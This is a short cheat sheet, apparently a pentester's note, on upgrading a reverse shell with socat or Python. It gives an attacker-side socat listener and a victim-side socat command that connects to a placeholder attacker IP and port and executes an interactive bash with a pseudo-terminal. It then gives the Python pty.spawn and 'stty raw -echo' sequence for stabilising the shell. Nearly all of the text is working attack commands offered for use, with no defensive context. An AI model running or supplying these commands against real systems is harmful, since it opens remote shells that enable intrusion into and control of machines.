Using SOCAT to upgrade reverse shell

To upgrade your reverse shell you can use various methods:

1. SOCAT

    # Attacker:
    socat TCP-L:<port> -
   
    # Victim:
    socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

2. Python

    python -c 'import pty; pty.spawn("/bin/bash")'
    # `ctrl+z` then 
    stty raw -echo
    # then 
    fg
    # then `enter` twice
